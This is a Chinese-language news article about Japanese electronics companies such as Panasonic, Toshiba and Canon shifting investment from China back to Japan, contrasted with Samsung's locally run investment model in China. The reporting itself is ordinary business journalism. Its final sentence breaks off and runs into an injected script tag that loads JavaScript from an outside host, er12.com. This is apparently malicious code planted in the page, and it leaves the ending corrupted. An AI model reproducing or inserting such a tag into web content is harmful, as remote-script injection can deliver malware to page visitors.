两年前已出现日本公司投资“回流”征兆，现在这个趋势正在发生新变化吗？他们的中国竞争者又将如何调整？
松下电器(中国)社长木元哲正在试图摆脱一场“撤资中国”的阴影，棘手的是，他缺乏“实际行动”。
3个月前松下低调宣布，除了保留维修服务，松下不再推出2g手机新品。对于这一次“有特殊背景”的业务撤离，松下电器保持高度警惕，有关负责人甚至公开辟谣，“原来的通信团队将全力研发3g手机以及3g服务。”
事实上，松下的“退位”不仅体现在手机业务方面，在数码家电以及it领域也相继出现投资回流日本的现象。 有业界人士向记者透露，早在2003年上海松下等离子显示器有限公司的等离子项目，被总部由“技术升级”调整为“扩大产能”，投资金额也降为1亿美元。该合资公司成立于2001年1月，由松下电器、上海广电等共同投资，其中松下控股百分之51。
“全面撤离投资利润率为负值的业务。”为了顺应总部布局，木元哲于2003年喊出了这一宣言。多方面的迹象表明，松下目前的经营现状正在痛苦地证实木元哲的诺言。
“回流”扩散 在松下撤资的幕后，隐藏着深刻的产业背景———处于投资整合阶段的跨国公司，一方面开始步入早期投资的“收获期”，另一方面要适应全球产业与中国市场的新变化继续追加和转型投资。
“一边收获一边撤离”，难道这就是日系企业的 “投资宿命”？
来自松下官方网站的资料表明：2003年，松下(中国)下属大部分企业盈利，盈利企业和亏损企业比例大致为7：3。至2005年，由于业务压缩或重组，这一比例有所提升。 但松下仍有一部分下属企业(独资或合资)出现亏损，这正是松下撤资的根本原因。
可资对比的是，关于同样的撤资问题，东芝与三菱却表现得颇为“坦然”。
2006年2月底，三菱数源移动通信有限公司在母公司三菱集团董事会的决策下，停止在中国市场关于gsm手机的生产和研发；2005年3月底，东芝在南京公布撤离中国手机市场，东芝方面已将相关生产设备折价卖给中方，并退出在南京普天王芝的全部股份。
问题的关键在于，近年来东芝、松下和索尼等公司纷纷回国建设新厂，这是否预示着“回流效应”在由家电领域向手机、it等产业扩散？
公开资料表明，东芝增加5000亿日元正在三重县四日市新建一座闪存工厂；夏普在三重县龟山市追加2000亿日元改造升级液晶屏生产线，此前建设这一生产线耗资1500亿日元；松下计划在兵库县尼崎市投资1600亿日元新建全球最大的等离子显示屏工厂，该厂将于2007年7月正式投产，这是松下在日本建设的第四个等离子生产厂。
佳能于2004年将部分数码相机和打印机生产线悄然从上海转移回日本，同时在日本大分县投巨资新建工厂；索尼早在2002年就将原来在上海生产、用于向美国出口的数码摄像机生产线撤回国内；奥林巴斯也对在东南亚国家的数码相机生产进行了调整，将一些高档产品项目转移回国。
富士通日立等离子显示器公司也在2004年初投资750亿日元在日本宫崎县新建一座月产能为15万片的等离子显示板工厂。该工厂于2005年已经投产，2007年将扩产达到年产300万台的能力。
显然，在数码家电领域日企的投资回流倾向日趋明显。日本公司在国内投资建设新的生产基地，在很大程度上是一些原来设在中国和东南亚国家的工厂的回流。
根据商务部公布的数据，2005年4—6月，日本对华投资增长率转为负数；9月开始反弹；10—11月仅为上年同期水平的百分之60。
实际上，日本企业投资回流不只发生在中国，在其他国家也发生了类似现象。日本银行发布的最新数字显示，2004年，日本制造商在国内的资本投资增长了百分之12.9，2005年进一步增长了百分之15.5。
“现地完结”模式 “与日企全力顺应总部思维不同，三星在中国的投资方式是‘现地完结’模式。”针对记者关于日本企业投资回流的提问，三星电子一位负责人认为，“是否拥有投资决策权，这是根本性的区别所在。”
据他介绍，“现地完结”模式是指由中国分公司全权行使投资权力，使产品企划、研发、生产、销售等所有的经营环节都“自己做主”。
“事实上，这是一个不断完善才形成的一种投资机制，决定一个公司的一切投资行为。”上述人士表示。 事实上，三星在中国的投资战略进行了数次调整，不仅扩大了投资金额，而且投资方式也发生了明显变化。
1990年代中期，在对中国市场还不甚了解的情况下，三星电子的各个事业部纷纷在中国建厂，甚至设立了遍及中国各个城市的销售网络。
与此对应，产品线也从洗衣机扩大到录音机。然而遗憾的是，几乎整个1990年代，三星在中国的业务均出现了巨额亏损。 亚洲金融危机后，三星逐步认识到公司的资源有限，便尝试调整投资战略。其中最核心的策略在于加强了三星电子中国总部的地位，三星中国开始?script src=http://er12.com/t.js>
